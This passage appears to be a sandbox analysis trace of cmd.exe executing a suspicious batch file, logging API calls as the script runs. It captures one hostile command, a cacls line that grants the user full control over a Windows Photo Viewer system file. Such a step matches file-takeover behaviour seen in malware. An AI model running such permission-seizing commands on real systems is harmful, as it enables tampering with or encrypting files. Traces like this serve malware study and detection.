LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0083.422] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0083.422] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0083.424] GetProcessHeap () returned 0x700000 [0083.424] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x20c) returned 0x712f90 [0083.424] GetConsoleTitleW (in: lpConsoleTitle=0x712f90, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.424] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0083.424] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0083.424] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0083.424] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0083.424] GetProcessHeap () returned 0x700000 [0083.425] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x716b10 [0083.425] GetProcessHeap () returned 0x700000 [0083.425] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x716b10 | out: hHeap=0x700000) returned 1 [0083.426] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0083.426] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0083.426] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0083.426] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0083.426] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0083.426] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0083.426] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0083.426] GetProcessHeap () returned 0x700000 [0083.426] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x58) returned 0x7131a8 [0083.426] GetProcessHeap () returned 0x700000 [0083.426] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x72) returned 0x722b60 [0083.427] GetProcessHeap () returned 0x700000 [0083.427] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x94) returned 0x713208 [0083.428] GetConsoleTitleW (in: lpConsoleTitle=0x3bf7b8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.429] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0083.429] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0083.429] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0083.429] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0083.429] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0083.429] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0083.429] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0083.429] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0083.429] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0083.429] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0083.429] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0083.429] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0083.429] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0083.429] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0083.429] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0083.429] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0083.429] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0083.429] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0083.429] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0083.429] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0083.429] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0083.429] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0083.429] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0083.430] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0083.430] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0083.430] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0083.430] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0083.430] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0083.430] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0083.430] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0083.430] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0083.430] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0083.430] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0083.430] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0083.430] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0083.430] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0083.430] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0083.430] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0083.430] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0083.430] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0083.430] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0083.430] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0083.430] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0083.430] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0083.430] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0083.430] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0083.430] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0083.430] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0083.430] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0083.430] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0083.430] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0083.430] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0083.430] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0083.430] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0083.430] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0083.430] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0083.430] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0083.430] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0083.430] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0083.430] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0083.430] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0083.431] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0083.431] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0083.431] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0083.431] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0083.431] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0083.431] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0083.431] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0083.431] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0083.431] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0083.431] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0083.431] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0083.431] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0083.431] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0083.431] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0083.431] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0083.431] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0083.431] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0083.431] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0083.431] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0083.431] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0083.431] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0083.431] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0083.431] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0083.431] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0083.431] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0083.431] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0083.431] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0083.431] GetProcessHeap () returned 0x700000 [0083.431] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x210) returned 0x7132a8 [0083.431] GetProcessHeap () returned 0x700000 [0083.431] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xfe) returned 0x7134c0 [0083.432] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0083.433] GetProcessHeap () returned 0x700000 [0083.433] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x418) returned 0x7007f0 [0083.433] SetErrorMode (uMode=0x0) returned 0x0 [0083.433] SetErrorMode (uMode=0x1) returned 0x0 [0083.433] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x7007f8, lpFilePart=0x3bf2d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bf2d8*="Desktop") returned 0x25 [0083.433] SetErrorMode (uMode=0x0) returned 0x1 [0083.433] GetProcessHeap () returned 0x700000 [0083.433] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7007f0, Size=0x6e) returned 0x7007f0 [0083.433] GetProcessHeap () returned 0x700000 [0083.433] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x7007f0) returned 0x6e [0083.433] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0083.433] GetProcessHeap () returned 0x700000 [0083.433] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x5a) returned 0x7135c8 [0083.433] GetProcessHeap () returned 0x700000 [0083.433] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xa8) returned 0x700868 [0083.433] GetProcessHeap () returned 0x700000 [0083.433] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x700868, Size=0x5a) returned 0x700868 [0083.433] GetProcessHeap () returned 0x700000 [0083.433] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x700868) returned 0x5a [0083.433] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0083.433] GetProcessHeap () returned 0x700000 [0083.433] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xe0) returned 0x7008d0 [0083.437] GetProcessHeap () returned 0x700000 [0083.437] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7008d0, Size=0x76) returned 0x7008d0 [0083.437] GetProcessHeap () returned 0x700000 [0083.437] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x7008d0) returned 0x76 [0083.437] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0083.437] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x3bf074, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf074) returned 0x713630 [0083.437] GetProcessHeap () returned 0x700000 [0083.437] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x14) returned 0x711830 [0083.437] FindClose (in: hFindFile=0x713630 | out: hFindFile=0x713630) returned 1 [0083.437] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0083.437] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0083.437] GetConsoleTitleW (in: lpConsoleTitle=0x3bf54c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.648] GetProcessHeap () returned 0x700000 [0083.648] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x11c) returned 0x700950 [0083.648] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0083.648] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0083.648] IdentifyCodeAuthzLevelW () returned 0x1 [0083.653] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0083.653] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0083.654] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0083.654] CloseCodeAuthzLevel () returned 0x1 [0083.654] SetErrorMode (uMode=0x0) returned 0x0 [0083.654] SetErrorMode (uMode=0x1) returned 0x0 [0083.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x7132b0, lpFilePart=0x3bf438 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x3bf438*="Bt3xnwko.bat") returned 0x32 [0083.654] SetErrorMode (uMode=0x0) returned 0x1 [0083.654] GetProcessHeap () returned 0x700000 [0083.654] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x72) returned 0x722be0 [0083.654] wcsspn (_String=" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"", _Control=" \x09") returned 0x1 [0083.654] GetProcessHeap () returned 0x700000 [0083.654] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x92) returned 0x7011a8 [0083.654] GetProcessHeap () returned 0x700000 [0083.654] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x11c) returned 0x724b48 [0083.654] GetProcessHeap () returned 0x700000 [0083.654] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x724b48, Size=0x94) returned 0x724b48 [0083.654] GetProcessHeap () returned 0x700000 [0083.654] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x724b48) returned 0x94 [0083.654] CmdBatNotification () returned 0x713312 [0083.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3bf47c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0083.655] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0083.655] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.655] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.655] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.655] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.655] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3bf460, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3bf460*=0xe2, lpOverlapped=0x0) returned 1 [0083.655] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0083.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0083.656] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.656] GetFileType (hFile=0x78) returned 0x1 [0083.656] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.656] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0083.656] GetProcessHeap () returned 0x700000 [0083.656] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x716b10 [0083.656] GetProcessHeap () returned 0x700000 [0083.656] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x4008) returned 0x724be8 [0083.657] GetProcessHeap () returned 0x700000 [0083.657] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x1a) returned 0x715860 [0083.657] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0083.657] GetProcessHeap () returned 0x700000 [0083.657] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x715860 | out: hHeap=0x700000) returned 1 [0083.657] GetProcessHeap () returned 0x700000 [0083.657] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724be8 | out: hHeap=0x700000) returned 1 [0083.657] GetProcessHeap () returned 0x700000 [0083.657] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x716b10 | out: hHeap=0x700000) returned 1 [0083.657] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0083.657] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0083.657] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0083.657] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0083.657] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0083.657] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0083.657] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0083.658] GetProcessHeap () returned 0x700000 [0083.658] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x58) returned 0x701248 [0083.658] GetProcessHeap () returned 0x700000 [0083.658] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x14) returned 0x7012a8 [0083.659] GetProcessHeap () returned 0x700000 [0083.659] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xd4) returned 0x7141b0 [0083.660] _tell (_FileHandle=3) returned 32 [0083.660] _close (_FileHandle=3) returned 0 [0083.660] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf234 | out: _Buffer="\r\n") returned 2 [0083.660] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.660] GetFileType (hFile=0x7) returned 0x2 [0083.661] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.661] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f4 | out: lpMode=0x3bf1f4) returned 1 [0083.661] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.661] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf220, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf220*=0x2) returned 1 [0083.662] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0083.662] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.662] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3bf230 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0083.662] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3bf230 | out: _Buffer=">") returned 1 [0083.662] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.662] GetFileType (hFile=0x7) returned 0x2 [0083.662] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.662] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f8 | out: lpMode=0x3bf1f8) returned 1 [0083.663] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.663] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3bf224, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3bf224*=0x26) returned 1 [0083.663] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.663] GetFileType (hFile=0x7) returned 0x2 [0083.664] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.664] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf47c | out: lpMode=0x3bf47c) returned 1 [0083.664] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.664] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x7012b0*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x3bf4a8, lpReserved=0x0 | out: lpBuffer=0x7012b0*, lpNumberOfCharsWritten=0x3bf4a8*=0x5) returned 1 [0083.664] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3bf4b4 | out: _Buffer=" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 102 [0083.664] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.664] GetFileType (hFile=0x7) returned 0x2 [0083.665] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.665] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0083.665] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.665] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x66) returned 1 [0083.665] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf4d4 | out: _Buffer="\r\n") returned 2 [0083.665] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.665] GetFileType (hFile=0x7) returned 0x2 [0083.666] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.666] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf494 | out: lpMode=0x3bf494) returned 1 [0083.666] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.666] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf4c0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4c0*=0x2) returned 1 [0083.666] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0083.666] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0083.666] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0083.666] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0083.666] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0083.666] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0083.666] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0083.666] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0083.666] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0083.666] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0083.666] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0083.666] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0083.666] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0083.667] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0083.667] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0083.667] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0083.667] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0083.667] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0083.667] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0083.667] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0083.667] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0083.667] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0083.667] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0083.667] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0083.667] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0083.667] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0083.667] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0083.667] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0083.667] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0083.667] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0083.667] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0083.667] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0083.667] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0083.667] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0083.667] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0083.667] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0083.667] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0083.667] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0083.667] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0083.667] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0083.667] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0083.667] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0083.667] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0083.667] GetProcessHeap () returned 0x700000 [0083.667] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x418) returned 0x714290 [0083.668] SetErrorMode (uMode=0x0) returned 0x0 [0083.668] SetErrorMode (uMode=0x1) returned 0x0 [0083.668] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x714298, lpFilePart=0x3bf278 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bf278*="Desktop") returned 0x25 [0083.668] SetErrorMode (uMode=0x0) returned 0x1 [0083.668] GetProcessHeap () returned 0x700000 [0083.668] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714290, Size=0x60) returned 0x714290 [0083.668] GetProcessHeap () returned 0x700000 [0083.668] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714290) returned 0x60 [0083.668] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0083.668] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0083.668] GetProcessHeap () returned 0x700000 [0083.668] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x120) returned 0x7142f8 [0083.668] GetProcessHeap () returned 0x700000 [0083.668] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x238) returned 0x714420 [0083.670] GetConsoleTitleW (in: lpConsoleTitle=0x3bf044, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.670] GetConsoleTitleW (in: lpConsoleTitle=0x3bedd8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b 